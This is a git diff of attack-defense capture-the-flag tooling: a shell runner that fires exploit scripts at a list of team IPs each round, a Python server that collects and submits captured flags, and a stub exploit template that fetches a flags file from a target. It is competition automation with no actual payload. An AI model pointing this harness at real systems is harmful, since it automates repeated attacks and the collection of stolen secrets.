summaryrefslogtreecommitdiffstats
path: root/iv/orodja/napad
diff options
context:
space:
mode:
Diffstat (limited to 'iv/orodja/napad')
-rw-r--r--iv/orodja/napad/config45
-rwxr-xr-xiv/orodja/napad/exploit.sh130
-rwxr-xr-xiv/orodja/napad/submission.py47
-rwxr-xr-xiv/orodja/napad/template.py10
4 files changed, 170 insertions, 62 deletions
diff --git a/iv/orodja/napad/config b/iv/orodja/napad/config
index c71c9bd..dc165ce 100644
--- a/iv/orodja/napad/config
+++ b/iv/orodja/napad/config
@@ -4,14 +4,17 @@
# ==========================
# ========= COMMON =========
-export FLAG_REGEX="^[A-Z0-9]{31}=$"
export SUBMISSION_PORT=21502
# ==========================
# ======= EXPLOIT.SH =======
+# This regex is used to grep -Eo flags from stdout of exploits before submitting them
+export FLAG_REGEX_SEARCH="[A-Za-z0-9]{31}="
+
# Where can exploit.sh find submission.py. Port is a common setting.
-export SUBMISSION_HOST=k.4a.si
+export SUBMISSION_HOST=localhost
+### export SUBMISSION_HOST=k.4a.si
# Must be precise, not less than round duration. Used to calculate round id.
export ROUND_DURATION=120
@@ -20,41 +23,56 @@ export ROUND_DURATION=120
export GAME_START=2024-09-01T07:00:00
# Team numbers to attack
-export GAME_TEAMS={0..42}
+export GAME_TEAMS="2 69"
+###export GAME_TEAMS={0..10}
# Flag IDs URL
-export game_flag_ids_url()
+game_flag_ids_url()
{
- echo http://10.10.0.1:8081/flagIds?service=$1&team=$2&round=$3
+ echo http://splet.4a.si/dir/flagids.txt
+ ### echo "http://10.10.0.1:8081/flagIds?service=$1&team=$2&round=$3"
}
export -f game_flag_ids_url
# Target IP from ID
-export game_target_ip()
+game_target_ip()
{
- echo 10.60.$1.1
+ echo 10.69.69.$1
+ ### echo 10.60.$1.1
}
export -f game_target_ip
# NOP TEAM ID
export GAME_NOP_TEAM=0
-# For how many rounds are flags valid at a time?
-# It doesn't make sense for this to be less than 1.
+# For how many non-current rounds are flags valid at a time?
+# It doesn't make sense for this to be less than 0.
+# Setting to 0 means only the current round is valid.
export GAME_VALID_ROUNDS=5
# Function exploit.sh should call on errors.
# Args: service team pwd usr@pc message
# 1 2 3 4 5
-export exploit_error_handler()
+exploit_error_handler()
{
- echo "[exploit.sh] ERROR $1"
- notify-send "exploit.sh ERROR" "$5" --urgency critical
+ notify-send --version > /dev/null && notify-send "exploit.sh ERROR" "$5" --urgency critical
}
+export -f exploit_error_handler
+
+# Max exploit execution time
+export EXPLOIT_TIMEOUT=5
# ==========================
# ====== SUBMISSION.PY =====
+# This regex is used to verify flags before storing them
+# It can be .*, no problem, just make sure you're then not sending invalid flags
+# to submission TCP -- you shouldn't anyways, as submission expects flags neatly
+# line by line, it will not clean up random bullshit.
+# Don't just send exploit stdout to submission, use exploit.sh!
+export FLAG_REGEX_MATCH="^[A-Z0-9]{31}=$"
+
+# Where to store flags -- sqlite3 db
export SUBMISSION_DB=flags.db
# How much flags to send in one request.
@@ -64,7 +82,8 @@ export SUBMISSION_DB=flags.db
export SUBMISSION_MAX_FLAGS=2560
# PUT request, ECSC 2024 AD style
-export SUBMISSION_URL=http://10.10.0.1:8080/flags
+export SUBMISSION_URL=http://z.4a.si/dir/submit.php
+### export SUBMISSION_URL=http://10.10.0.1:8080/flags
# How many seconds to delay after a successful submission.
# With 15, we send at most 4 requests per minute out of 15 allowed.
diff --git a/iv/orodja/napad/exploit.sh b/iv/orodja/napad/exploit.sh
index 729bb68..b482c06 100755
--- a/iv/orodja/napad/exploit.sh
+++ b/iv/orodja/napad/exploit.sh
@@ -1,84 +1,150 @@
#!/bin/sh
if [ x$1 = x ]
then
-echo >&2 <<EOF
-No command. Subcommands:
- $0 once <service> <exploit> [team=$GAME_NOP_TEAM] # runs exploit once
- $0 loop <service> <exploit> # runs an exploit in a loop once per round
+cat >&2 <<EOF
+No command. Usage: $0 <subcommand> [args ...] Subcommands:
+ once <service> <exploit> [team=$GAME_NOP_TEAM] # runs exploit once
+ loop <service> <exploit> # once per team per round, waits for next round
<exploit> is an executable file. Flags, grepped from stdout, are submitted.
-It is called for every target. Args are target IP and flag IDs JSON object.
- Example: <exploit> 10.1.2.3 '{"user": "root", "pass": "hunter2"}'
-Flag IDs are also available in the environment as variables FLAG_ID_<key>:
- {"user": "root", "pass": "hunter2"} will be in environment as vars
- FLAG_ID_user=root and FLAG_ID_pass=hunter2
+It is called for every target with the following environment variables:
+ TARGET_IP: target IP address (uses game_target_ip from config)
+ TARGET_EXTRA: Flag IDs JSON object (uses game_flag_ids_url in config)
+ FLAG_ID_<key>: Every JSON value from flag IDs individually
+Example environment is therefore:
+ TARGET_IP=1.1.1.1 TARGET_EXTRA='{"a": "1", "b": "2"}' FLAG_ID_a=1 FLAG_ID_b=2
In loop mode, exploit is first exec'd rapidly for still valid old rounds.
Max execution time is $EXPLOIT_TIMEOUT seconds (EXPLOIT_TIMEOUT in config)
-Exploits are NOT executed in parallel.
+Exploits are not run in parallel.
Make sure that your system time is set CORRECTLY TO THE SECOND, it's used
- to get the current round id. Current time: `date`.
+ to get the current round id. Check this on http://time.is
Configuration values are also available in environment of exploits.
<service> is the name of the service (used for getting flag IDs)
-If the env. var EXPLOIT_STDOUT is set, stdout of exploit will be printed to stderr:
- "EXPLOIT_STDOUT=1 $0 loop <service> <exploit>" will also print stdout to term
-If the env. var EXPLOIT_LOOP_ONCE is set (only valid for loop mode), looping will
- stop after looping through all valid rounds and teams:
- "EXPLOIT_LOOP_ONCE=1 $0 loop <service> <exploit>" won't wait for next round
+Set the following environment variables to alter behaviour:
+ EXPLOIT_STDOUT=1: stdout of exploit will be printed to stderr/terminal
+ EXPLOIT_LOOP_ONCE=1: exit after executing for all valid rounds instead of
+ waiting for the next round. Only valid for loop subcommand.
+ EXPLOIT_VERBOSE=1: print _every_ line executed by $0 (set -x)
+ EXPLOIT_NOTPARALLEL=1: disable parallel even if parallel is available
EOF
exit 1
fi
-set -xeuo pipefail
-startunix=`date +%s --utc --date $GAME_START`
-current=`date +%s --utc`
+[ ${EXPLOIT_VERBOSE:-false} = false ] || set -x
+set -euo pipefail
+current_round_id()
+{ # BREAKS WHEN THERE ARE LEAP SECONDS DURING GAME
+ startunix=`date +%s --utc --date $GAME_START`
+ current=`date +%s --utc`
+ echo $((($current-$startunix)/$ROUND_DURATION))
+}
if [ ${ROUND_ID:-x} = x ]
then
- export ROUND_ID=`$((($current-$startunix)/$ROUND_DURATION))` # BREAKS WHEN THERE ARE LEAP SECONDS DURING GAME
+ export ROUND_ID=`current_round_id`
fi
subcommand=$1
service=$2
exploit=$3
# tees stdout, collects flags, puts stdout to stderr, prints counts
+# args: team
exploit_pipe()
{
stdoutwhere=/dev/null
- [ ${EXPLOIT_STDOUT:-x} = x ] && stdoutwhere=/dev/stderr
- tee $stdoutwhere | grep -Eo "$FLAG_REGEX" | while read line
+ [ ! ${EXPLOIT_STDOUT:-false} = false ] && stdoutwhere=/dev/stderr
+ tee $stdoutwhere | { grep -Eo "$FLAG_REGEX_SEARCH" || :; } | while read -r line
do
- echo $line `whoami`@`hostname``pwd` $exploit $service
- done | nc -v $SUBMISSION_HOST $SUBMISSION_PORT | cut -d\ -f1 | sort | uniq -c | tr $'\n' ' ' | cat /dev/stdin <(echo $'\t<= izkupiček poslanih zastavic')
+ echo $line $1 $ROUND_ID $service $exploit `whoami`@`hostname``pwd`
+ done | { nc -N $SUBMISSION_HOST $SUBMISSION_PORT || return $((200+$?)); } | cut -d\ -f1,2 | sort | uniq -c | tr $'\n' ' ' | cat <(printf "team=%-2d round=%d: " $1 $ROUND_ID) /dev/stdin <(echo) >&2
}
# args: team round
get_flag_ids()
{
- output_flagids=$(curl --fail-with-body --no-progress-bar `game_flag_ids_url $service $1 $2`)
- echo [$0] ERROR: failed to get flag ids: $output_flagids >&2
+ set +e
+ output_flagids=$(curl --fail-with-body --no-progress-meter "`game_flag_ids_url "$service" $1 $2`")
+ curl_exit_code=$?
+ set -e
+ echo $output_flagids
+ if [ ! $curl_exit_code -eq 0 ]
+ then
+ send_error $1 "round=$round failed to get flag ids: $output_flagids" >&2
+ return 99
+ fi
}
# args: team message
send_error()
{
echo [$0] ERROR: team=$1: $2
- exploit_error_handler $service $1 `pwd` `whoami`@`hostname` $2
+ exploit_error_handler "$service" $1 `pwd` `whoami`@`hostname` $2
}
case $subcommand in
once)
target_team=$GAME_NOP_TEAM
- if [ $# -ge 3 ]
+ if [ $# -ge 4 ]
then
- target_team=$3
+ target_team=$4
fi
- timeout $EXPLOIT_TIMEOUT $exploit `game_target_ip $target_team` `get_flag_ids $target_team $ROUND_ID` | expoit_pipe $subcommand
+ export TARGET_IP=`game_target_ip $target_team`
+ export TARGET_EXTRA="`get_flag_ids $target_team $ROUND_ID`"
+ source <(echo "$TARGET_EXTRA" | jq -r 'to_entries|map("export FLAG_ID_\(.key|sub("'"'"'";""))='"'"'\(.value|tostring|sub("'"'"'";"'"'\\\"'\\\"'"'"))'"'"'")|.[]')
+ set +e
+ timeout $EXPLOIT_TIMEOUT $exploit | exploit_pipe $target_team
exit_code=$?
+ set -e
+ if [ $exit_code -gt 200 ]
+ then
+ send_error $target_team "submission netcat failed with $(($exit_code-200))"
+ exit $exit_code
+ fi
if [ ! $exit_code -eq 0 ] && [ ! $exit_code -eq 124 ]
then
send_error $target_team "$exploit exited with $exit_code"
fi
+ if [ $exit_code -eq 124 ]
+ then
+ echo [$0] team=$target_team $exploit timed out >&2
+ fi
+ exit $exit_code
;;
loop)
- for round in {$ROUND_ID..}
+ if parallel --version > /dev/null && [ ${EXPLOIT_NOTPARALLEL:-false} = false ]
+ then
+ commands_evaluator="parallel --color-failed"
+ commands_output="/dev/stdout"
+ have_parallel=true
+ echo "[$0] using parallel executions (:" >&2
+ else
+ commands_evaluator="cat /dev/stdin"
+ commands_output="/dev/null"
+ have_parallel=false
+ echo "[$0] parallel not found or disabled! zaporedno izvajanje ):" >&2
+ fi
+ round=$(($ROUND_ID-$GAME_VALID_ROUNDS))
+ while :
do
for target_team in $GAME_TEAMS
do
- ROUND_ID=$round $0 once $target_team
+ cmd2exec="ROUND_ID=$round $0 once '$service' $exploit $target_team"
+ if $have_parallel
+ then
+ echo $cmd2exec
+ else
+ eval $cmd2exec
+ fi
+ done | $commands_evaluator > $commands_output
+ round=$(($round+1))
+ we_slept=false
+ while [ `current_round_id` -lt $round ]
+ do # oh no we pollin thats ugly af, who cares we have
+ if [ ! ${EXPLOIT_LOOP_ONCE:-false} = false ]
+ then
+ echo [$0] breaking due to EXPLOIT_LOOP_ONCE
+ break
+ fi
+ we_slept=true
+ sleep 1 # INFINITE CPU POWAH!
done
+ if $we_slept
+ then # execute exploit at random time instead of at start
+ sleep $(($RANDOM%$ROUND_DURATION/2))
+ fi
done
;;
esac
diff --git a/iv/orodja/napad/submission.py b/iv/orodja/napad/submission.py
index 30e8257..fce0a27 100755
--- a/iv/orodja/napad/submission.py
+++ b/iv/orodja/napad/submission.py
@@ -4,12 +4,12 @@ import asyncio
import re
import sqlite3
import aiohttp
+import traceback
db = sqlite3.connect(os.getenv("SUBMISSION_DB", "flags.db"))
db.execute("CREATE TABLE IF NOT EXISTS flags (id INTEGER PRIMARY KEY, flag TEXT NOT NULL UNIQUE, team INTEGER, service BLOB, round INTEGER, context BLOB, sent INTEGER NOT NULL DEFAULT 0, date TEXT DEFAULT (strftime('%FT%R:%f', 'now')) NOT NULL, status TEXT, msg TEXT) STRICT")
-flag_regex = re.compile(os.getenv("FLAG_REGEX", "^[A-Z0-9]{31}=$").encode(), re.ASCII | re.DOTALL | re.VERBOSE)
+flag_regex = re.compile(os.getenv("FLAG_REGEX_MATCH", "^[A-Z0-9]{31}=$").encode(), re.ASCII | re.DOTALL | re.VERBOSE)
async def submitter ():
while True:
- print("submitter loop")
flags_balance = dict()
unsent_flags = 0
for flag, team, service in db.execute("SELECT flag, team, service FROM flags WHERE sent == 0 ORDER BY date DESC"):
@@ -19,29 +19,39 @@ async def submitter ():
unsent_flags += 1
flags = []
while len(flags) < int(os.getenv("SUBMISSION_MAX_FLAGS", "2560")) and unsent_flags > 0: # to zna biti počasno, najdi lepši način
- for key in flags_balance.keys():
+ for key in [x for x in flags_balance.keys()]:
try:
zastava = flags_balance[key].pop(0)
except IndexError:
flags_balance.pop(key)
else:
flags.append(zastava)
+ unsent_flags -= 1
if len(flags) == 0:
await asyncio.sleep(1)
+ continue
for i in [1]:
async with aiohttp.ClientSession(headers={"X-Team-Token": os.getenv("SUBMISSION_TEAM_TOKEN")}) as session:
- async with session.put(os.getenv("SUBMISSION_URL", 'http://10.10.0.1:8080/flags'), json=flags) as response:
- if response.status // 100 != 2:
- print("submitter error: " + await response.text())
- break
- cursor = db.cursor()
- for obj in await response.json():
- cursor.execute("UPDATE flags SET sent=?, status=?, msg=? WHERE flag=?", [int(obj.get("status") != "RESUBMIT"), obj.get("status"), obj.get("msg"), obj.get("flag")])
- db.commit()
+ try:
+ async with session.put(os.getenv("SUBMISSION_URL", 'http://10.10.0.1:8080/flags'), json=flags) as response:
+ if response.status // 100 != 2:
+ print("submitter error: " + await response.text())
+ break
+ cursor = db.cursor()
+ for obj in await response.json():
+ cursor.execute("UPDATE flags SET sent=?, status=?, msg=? WHERE flag=?", [int(obj.get("status") != "RESUBMIT"), obj.get("status"), obj.get("msg"), obj.get("flag")])
+ db.commit()
+ except Exception as e:
+ traceback.print_exc()
await asyncio.sleep(int(os.getenv("SUBMISSION_DELAY", "15")))
async def handle_client (reader, writer):
while True:
- incoming = await reader.readuntil(b'\n')
+ try:
+ incoming = await reader.readuntil(b'\n')
+ except asyncio.exceptions.IncompleteReadError as e:
+ if int(str(e).split(" ")[0]) == 0:
+ break
+ raise e
if len(incoming) == 0:
break
buffer = incoming.replace(b'\r', b'').replace(b'\n', b'')
@@ -63,18 +73,21 @@ async def handle_client (reader, writer):
context = b' '.join(buffer.split(b' ')[1:])
try:
team = int(buffer.split(b' ')[1].decode())
- except (ValueError, UnicodeDecodeError):
+ except (ValueError, UnicodeDecodeError, IndexError):
team = -1
try:
runda = int(buffer.split(b' ')[2].decode())
- except (ValueError, UnicodeDecodeError):
+ except (ValueError, UnicodeDecodeError, IndexError):
runda = -1
- service = buffer.split(b' ')[3]
try:
- db.execute("INSERT INTO flags (flag, team, service, round, context) VALUES (?, ?)", [flag, team, service, runda, context])
+ service = buffer.split(b' ')[3]
+ except IndexError:
+ service = None
+ try:
+ db.execute("INSERT INTO flags (flag, team, service, round, context) VALUES (?, ?, ?, ?, ?)", [flag, team, service, runda, context])
except sqlite3.IntegrityError:
status, msg, date, context = [x for x in db.execute("SELECT status, msg, date, context FROM flags WHERE flag=?", [flag])][0]
- writer.write(b"OLD_FLAG " + date.encode() + b"\t" + str(status).encode() + b"\t" + str(context).encode() + b"\t" + str(msg).encode() + b"\n")
+ writer.write(b"OLD_FLAG " + str(status).encode() + b" " + date.encode() + b" " + context + b"\t" + str(msg).encode() + b"\n")
else:
writer.write(b'NEW_FLAG\n')
writer.close()
diff --git a/iv/orodja/napad/template.py b/iv/orodja/napad/template.py
new file mode 100755
index 0000000..2629fe9
--- /dev/null
+++ b/iv/orodja/napad/template.py
@@ -0,0 +1,10 @@
+#!/usr/bin/python3
+import os
+import requests
+import json
+target = os.getenv("TARGET_IP")
+extra = json.loads(os.getenv("TARGET_EXTRA", "{}"))
+with requests.Session() as s:
+ userid = extra["userid"]
+ response = s.get(f"http://{target}:80/dir/flags.txt?user={userid}")
+ print(response.text)